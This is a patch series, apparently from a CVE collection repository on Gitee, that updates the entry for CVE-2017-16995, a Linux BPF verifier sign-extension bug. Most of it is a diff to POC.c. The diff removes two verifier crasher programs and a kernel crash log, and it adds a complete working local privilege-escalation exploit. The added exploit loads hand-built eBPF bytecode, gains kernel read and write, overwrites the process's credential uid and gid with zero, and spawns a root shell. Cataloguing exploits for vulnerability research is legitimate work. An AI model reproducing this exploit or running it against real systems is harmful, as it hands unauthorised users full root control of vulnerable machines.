cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml index 3db4a26f..aa193a68 100644 --- a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -6,7 +6,7 @@ info: description: | Linux内核中kernel/bpf/verifier.c的check_alu_op函数在4.4之前允许本地用户通过利用不正确的符号扩展导致拒绝服务(内存损坏)或可能产生不明的其他影响。 scope-of-influence: - linux_kernel >=4.9 + linux_kernel >=4.4 reference: - https://nvd.nist.gov/vuln/detail/cve-2017-16995 - https://github.com/C0dak/CVE-2017-16995 -- Gitee From 011d35e3a34f383b9c808698548fd432e3cfbd16 Mon Sep 17 00:00:00 2001 From: Tianxu Han Date: Fri, 21 Apr 2023 15:00:45 +0000 Subject: [PATCH 11/11] update cve/linux-kernel/2017/CVE-2017-16995/POC.c. Signed-off-by: Tianxu Han --- cve/linux-kernel/2017/CVE-2017-16995/POC.c | 782 ++++++--------------- 1 file changed, 225 insertions(+), 557 deletions(-) diff --git a/cve/linux-kernel/2017/CVE-2017-16995/POC.c b/cve/linux-kernel/2017/CVE-2017-16995/POC.c index 62c099c8..c88b6a11 100644 --- a/cve/linux-kernel/2017/CVE-2017-16995/POC.c +++ b/cve/linux-kernel/2017/CVE-2017-16995/POC.c @@ -1,579 +1,247 @@ -#define _GNU_SOURCE -#include -#include -#include -#include +/* + * Ubuntu 16.04.4 kernel priv esc + * + * all credits to @bleidl + * - vnik + */ + +// Tested on: +// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 +// if different kernel adjust CRED offset + check kernel stack size #include +#include #include -#include -#include +#include +#include +#include +#include +#include +#include #include #include +#include +#include +#include -/* start from kernel */ -#define BPF_EMIT_CALL(FUNC) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_CALL, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = (FUNC) }) /* ??? */ -#define BPF_MOV32_IMM(DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_MOV | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_REG_ARG1 BPF_REG_1 -#define BPF_REG_ARG2 BPF_REG_2 -#define BPF_REG_ARG3 BPF_REG_3 -#define BPF_REG_ARG4 BPF_REG_4 -#define BPF_REG_ARG5 BPF_REG_5 -#define BPF_PSEUDO_MAP_FD 1 -#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_LD | BPF_DW | BPF_IMM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = (__u32) (IMM) }), \ - ((struct bpf_insn) { \ - .code = 0, /* zero is reserved opcode */ \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = ((__u64) (IMM)) >> 32 }) -#define BPF_ALU32_IMM(OP, DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_LD_MAP_FD(DST, MAP_FD) \ - BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) -#define BPF_ALU32_REG(OP, DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_EXIT_INSN() \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_EXIT, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = 0 }) -/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ -#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) -#define BPF_REG_FP BPF_REG_10 -#define BPF_MOV64_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_ALU64_IMM(OP, DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_MOV64_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_REG_TMP BPF_REG_8 -#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) -#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = OFF, \ - .imm = IMM }) -#define BPF_MOV64_IMM(DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_ALU64_REG(OP, DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_MOV32_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -/* end from kernel */ - - -int bpf_(int cmd, union bpf_attr *attrs) { - return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +#define PHYS_OFFSET 0xffff880000000000 +#define CRED_OFFSET 0x5f8 +#define UID_OFFSET 4 +#define LOG_BUF_SIZE 65536 +#define PROGSIZE 328 + +int sockets[2]; +int mapfd, progfd; + +char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" + "\x55\x09\x02\x00\xff\xff\xff\xff" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x18\x19\x00\x00\x03\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x00\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x06\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x01\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x07\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x02\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x08\x00\x00\x00\x00\x00\x00" + "\xbf\x02\x00\x00\x00\x00\x00\x00" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x03\x00\x00\x00\x00\x00" + "\x79\x73\x00\x00\x00\x00\x00\x00" + "\x7b\x32\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x02\x00\x01\x00\x00\x00" + "\x7b\xa2\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x7b\x87\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00"; + +char bpf_log_buf[LOG_BUF_SIZE]; + +static int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) { + union bpf_attr attr = { + .prog_type = prog_type, + .insns = (__u64)insns, + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = (__u64)license, + .log_buf = (__u64)bpf_log_buf, + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } -void array_set(int mapfd, uint32_t key, uint32_t value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (uint64_t)&key, - .value = (uint64_t)&value, - .flags = BPF_ANY, - }; +static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) { + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} +static int bpf_update_elem(uint64_t key, uint64_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)&key, + .value = (__u64)&value, + .flags = 0, + }; - int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); - if (res) - err(1, "map update elem"); + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } +static int bpf_lookup_elem(void *key, void *value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)key, + .value = (__u64)value, + }; -int main(void) { - union bpf_attr create_map_attrs = { - .map_type = BPF_MAP_TYPE_ARRAY, - .key_size = 4, - .value_size = 8, - .max_entries = 16 - }; - int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); - if (mapfd == -1) - err(1, "map create"); - - - array_set(mapfd, 1, 1); - - char verifier_log[100000]; - struct bpf_insn insns[] = { - BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), - - // fill r0 with pointer to map value - BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), - BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack - BPF_MOV32_IMM(BPF_REG_ARG2, 1), - BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0), - BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP), - BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), - BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), - BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit - BPF_EXIT_INSN(), // exit - - // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff - BPF_MOV32_IMM(BPF_REG_1, 0xffffffff), - // r1 = 0x1'0000'0000, mistreated as 0 - BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), - // r1 = 0x1000'0000'0000'0000, mistreated as 0 - BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28), - - // compute noncanonical pointer - BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), - - // crash by writing to noncanonical pointer - BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef), - BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), - - // terminate to make the verifier happy - BPF_MOV32_IMM(BPF_REG_0, 0), - BPF_EXIT_INSN() - }; - union bpf_attr create_prog_attrs = { - .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, - .insn_cnt = sizeof(insns) / sizeof(insns[0]), - .insns = (uint64_t)insns, - .license = (uint64_t)"", - .log_level = 2, - .log_size = sizeof(verifier_log), - .log_buf = (uint64_t)verifier_log - }; - int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); - if (progfd == -1) { - perror("prog load"); - puts(verifier_log); - return 1; - } - puts("ok so far?"); - - int socks[2]; - if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) - err(1, "socketpair"); - if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) - err(1, "setsockopt"); - if (write(socks[1], "a", 1) != 1) - err(1, "write"); - char c; - if (read(socks[0], &c, 1) != 1) - err(1, "read res"); - return 0; + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } -user@...ian:~/bpf_range$ gcc -o crasher_badimm crasher_badimm.c -Wall -&& ./crasher_badimm -ok so far? -Segmentation fault -====================================== - - -Here is the resulting crash (note the corrupted heap address in R15): - -====================================== -[10599.403881] general protection fault: 0000 [#6] SMP KASAN -[10599.403886] Modules linked in: binfmt_misc snd_hda_codec_generic -crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_intel -snd_hda_codec pcbc snd_hda_core qxl snd_hwdep snd_pcm snd_timer ttm -aesni_intel snd ppdev aes_x86_64 drm_kms_helper parport_pc crypto_simd -soundcore glue_helper drm parport evdev cryptd sg serio_raw pcspkr -virtio_console virtio_balloon button ip_tables x_tables autofs4 ext4 -crc16 mbcache jbd2 fscrypto sr_mod cdrom sd_mod ata_generic 8139too -ehci_pci ata_piix uhci_hcd libata ehci_hcd 8139cp crc32c_intel mii -virtio_pci psmouse usbcore virtio_ring scsi_mod virtio i2c_piix4 -floppy -[10599.403952] CPU: 7 PID: 1610 Comm: crasher_badimm Tainted: G B D - 4.15.0-rc1+ #4 -[10599.403954] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), -BIOS 1.10.2-1 04/01/2014 -[10599.403957] task: 000000004ae6ce3e task.stack: 000000006149ccc2 -[10599.403963] RIP: 0010:___bpf_prog_run+0x1a77/0x2490 -[10599.403966] RSP: 0018:ffff8801ef6bf838 EFLAGS: 00010292 -[10599.403969] RAX: 0000000000000000 RBX: ffffc900016150b8 RCX: ffffffff866483d7 -[10599.403971] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac393b78 -[10599.403974] RBP: ffff8801ef6bf968 R08: 0000000000000000 R09: 0000000000000000 -[10599.403976] R10: 0000000000000001 R11: ffffed00358726b9 R12: ffffffff870be980 -[10599.403978] R13: 1ffff1003ded7f0e R14: 00000000deadbeef R15: 0fff8801ac393b78 -[10599.403981] FS: 00007fd705b43700(0000) GS:ffff8801f77c0000(0000) -knlGS:0000000000000000 -[10599.403984] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 -[10599.403986] CR2: 0000561c31a24008 CR3: 00000001b153b002 CR4: 00000000001606e0 -[10599.403991] Call Trace: -[10599.403997] ? sk_filter_trim_cap+0x5c/0x4e0 -[10599.404000] ? bpf_jit_compile+0x30/0x30 -[10599.404006] ? alloc_skb_with_frags+0x90/0x2c0 -[10599.404010] ? __bpf_prog_run32+0x83/0xc0 -[10599.404013] ? __bpf_prog_run64+0xc0/0xc0 -[10599.404017] ? sk_filter_trim_cap+0x5c/0x4e0 -[10599.404022] ? sk_filter_trim_cap+0xf7/0x4e0 -[10599.404028] ? unix_dgram_sendmsg+0x3e2/0x960 -[10599.404033] ? entry_SYSCALL_64_fastpath+0x1e/0x86 -[10599.404036] ? entry_SYSCALL_64_fastpath+0x1e/0x86 -[10599.404040] ? sock_alloc_inode+0x46/0x110 -[10599.404043] ? unix_stream_connect+0x840/0x840 -[10599.404046] ? __sock_create+0x7f/0x2c0 -[10599.404049] ? entry_SYSCALL_64_fastpath+0x1e/0x86 -[10599.404054] ? __lock_acquire.isra.31+0x2d/0xb40 -[10599.404059] ? __wake_up_common_lock+0xaf/0x130 -[10599.404065] ? unix_stream_connect+0x840/0x840 -[10599.404068] ? sock_sendmsg+0x6b/0x80 -[10599.404071] ? sock_write_iter+0x11d/0x1d0 -[10599.404075] ? sock_sendmsg+0x80/0x80 -[10599.404080] ? do_raw_spin_unlock+0x86/0x120 -[10599.404084] ? iov_iter_init+0x77/0xb0 -[10599.404089] ? __vfs_write+0x23e/0x340 -[10599.404092] ? kernel_read+0xa0/0xa0 -[10599.404098] ? __fd_install+0x5/0x160 -[10599.404102] ? __fget_light+0x9b/0xb0 -[10599.404107] ? vfs_write+0xe9/0x240 -[10599.404110] ? SyS_write+0xa7/0x130 -[10599.404121] ? SyS_read+0x130/0x130 -[10599.404125] ? lockdep_sys_exit+0x16/0x8e -[10599.404129] ? lockdep_sys_exit_thunk+0x16/0x2b -[10599.404133] ? entry_SYSCALL_64_fastpath+0x1e/0x86 -[10599.404138] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 -0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 -79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 -43 01 -[10599.404200] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801ef6bf838 -[10599.404204] ---[ end trace e8c17e9abe81bd46 ]--- -====================================== - - - - -=== PoC for "bpf: fix incorrect tracking of register size truncation" === -Here is a crasher that uses this to again write to a noncanonical address: - - -====================================== -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -/* start from kernel */ -#define BPF_EMIT_CALL(FUNC) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_CALL, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = (FUNC) }) /* ??? */ -#define BPF_MOV32_IMM(DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_MOV | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_REG_ARG1 BPF_REG_1 -#define BPF_REG_ARG2 BPF_REG_2 -#define BPF_REG_ARG3 BPF_REG_3 -#define BPF_REG_ARG4 BPF_REG_4 -#define BPF_REG_ARG5 BPF_REG_5 -#define BPF_PSEUDO_MAP_FD 1 -#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_LD | BPF_DW | BPF_IMM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = (__u32) (IMM) }), \ - ((struct bpf_insn) { \ - .code = 0, /* zero is reserved opcode */ \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = ((__u64) (IMM)) >> 32 }) -#define BPF_ALU32_IMM(OP, DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_LD_MAP_FD(DST, MAP_FD) \ - BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) -#define BPF_ALU32_REG(OP, DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_EXIT_INSN() \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_EXIT, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = 0 }) -/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ -#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) -#define BPF_REG_FP BPF_REG_10 -#define BPF_MOV64_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_ALU64_IMM(OP, DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_MOV64_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_REG_TMP BPF_REG_8 -#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) -#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = OFF, \ - .imm = IMM }) -#define BPF_MOV64_IMM(DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) -#define BPF_ALU64_REG(OP, DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -#define BPF_MOV32_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) -/* end from kernel */ - - -int bpf_(int cmd, union bpf_attr *attrs) { - return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +static void __exit(char *err) { + fprintf(stderr, "error: %s\n", err); + exit(-1); +} + +static void prep(void) { + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) + __exit(strerror(errno)); + + progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, + (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); + + if (progfd < 0) + __exit(strerror(errno)); + + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) + __exit(strerror(errno)); + + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) + __exit(strerror(errno)); +} + +static void writemsg(void) { + char buffer[64]; + + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) + fprintf(stderr, "short write: %lu\n", n); } -void array_set(int mapfd, uint32_t key, uint32_t value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (uint64_t)&key, - .value = (uint64_t)&value, - .flags = BPF_ANY, - }; +#define __update_elem(a, b, c) \ + bpf_update_elem(0, (a)); \ + bpf_update_elem(1, (b)); \ + bpf_update_elem(2, (c)); \ + writemsg(); + +static uint64_t get_value(int key) { + uint64_t value; + + if (bpf_lookup_elem(&key, &value)) + __exit(strerror(errno)); + + return value; +} + +static uint64_t __get_fp(void) { + __update_elem(1, 0, 0); + + return get_value(2); +} + +static uint64_t __read(uint64_t addr) { + __update_elem(0, addr, 0); + + return get_value(2); +} + +static void __write(uint64_t addr, uint64_t val) { + __update_elem(2, addr, val); +} + +static uint64_t get_sp(uint64_t addr) { + return addr & ~(0x4000 - 1); +} + +static void pwn(void) { + uint64_t fp, sp, task_struct, credptr, uidptr; + + fp = __get_fp(); + if (fp < PHYS_OFFSET) + __exit("bogus fp"); + + sp = get_sp(fp); + if (sp < PHYS_OFFSET) + __exit("bogus sp"); + + task_struct = __read(sp); + + if (task_struct < PHYS_OFFSET) + __exit("bogus task ptr"); + + printf("task_struct = %lx\n", task_struct); + + credptr = __read(task_struct + CRED_OFFSET); // cred + + if (credptr < PHYS_OFFSET) + __exit("bogus cred ptr"); + + uidptr = credptr + UID_OFFSET; // uid + if (uidptr < PHYS_OFFSET) + __exit("bogus uid ptr"); + + printf("uidptr = %lx\n", uidptr); + __write(uidptr, 0); // set both uid and gid to 0 + if (getuid() == 0) { + printf("spawning root shell\n"); + system("/bin/bash"); + exit(0); + } - int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr); - if (res) - err(1, "map update elem"); + __exit("not vulnerable?"); } +int main(int argc, char **argv) { + prep(); + pwn(); -int main(void) { - union bpf_attr create_map_attrs = { - .map_type = BPF_MAP_TYPE_ARRAY, - .key_size = 4, - .value_size = 8, - .max_entries = 16 - }; - int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs); - if (mapfd == -1) - err(1, "map create"); - - - array_set(mapfd, 1, 1); - - char verifier_log[100000]; - struct bpf_insn insns[] = { - BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), - - // fill r3 with value in range [0x0, 0xf], actually 0x8: - // first load map value pointer... - BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), - BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack - BPF_MOV32_IMM(BPF_REG_ARG2, 1), - BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0), - BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP), - BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), - BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2), - BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit - BPF_EXIT_INSN(), // exit - - // ... then write, read, mask map value - // (tracing actual values through a map is impossible) - BPF_MOV32_IMM(BPF_REG_3, 8), - BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_3, 0), - BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_0, 0), - BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 0xf), - - // load r1=0xffff'fff8 while working around the first verifier bug - BPF_MOV32_IMM(BPF_REG_1, 0xfffffff8>>1), - BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_1), - - // r1 in range [0xffff'fff8, 0x1'0000'0007] - BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), - - // load r2=0 - BPF_MOV32_IMM(BPF_REG_2, 0), - - // trigger verifier bug: - // visible range: [0xffff'fff8, 0xffff'ffff] - // hidden range: [0, 7] - // actual value: 0 - BPF_ALU32_REG(BPF_ADD, BPF_REG_1, BPF_REG_2), - - // collapse down: verifier sees 1, actual value 0 - BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 31), - - // flip: verifier sees 0, actual value 1 - BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), - BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, -1), - - // r1 = 0x1000'0000'0000'0000, verifier sees 0 - BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 60), - - // compute noncanonical pointer - BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), - - // crash by writing to noncanonical pointer - BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef), - BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), - - // terminate to make the verifier happy - BPF_MOV32_IMM(BPF_REG_0, 0), - BPF_EXIT_INSN() - }; - union bpf_attr create_prog_attrs = { - .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, - .insn_cnt = sizeof(insns) / sizeof(insns[0]), - .insns = (uint64_t)insns, - .license = (uint64_t)"", - .log_level = 2, - .log_size = sizeof(verifier_log), - .log_buf = (uint64_t)verifier_log - }; - int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs); - if (progfd == -1) { - perror("prog load"); - puts(verifier_log); - return 1; - } - puts("ok so far?"); - - int socks[2]; - if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) - err(1, "socketpair"); - if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) - err(1, "setsockopt"); - if (write(socks[1], "a", 1) != 1) - err(1, "write"); - char c; - if (read(socks[0], &c, 1) != 1) - err(1, "read res"); - return 0; + return 0; } \ No newline at end of file -- Gitee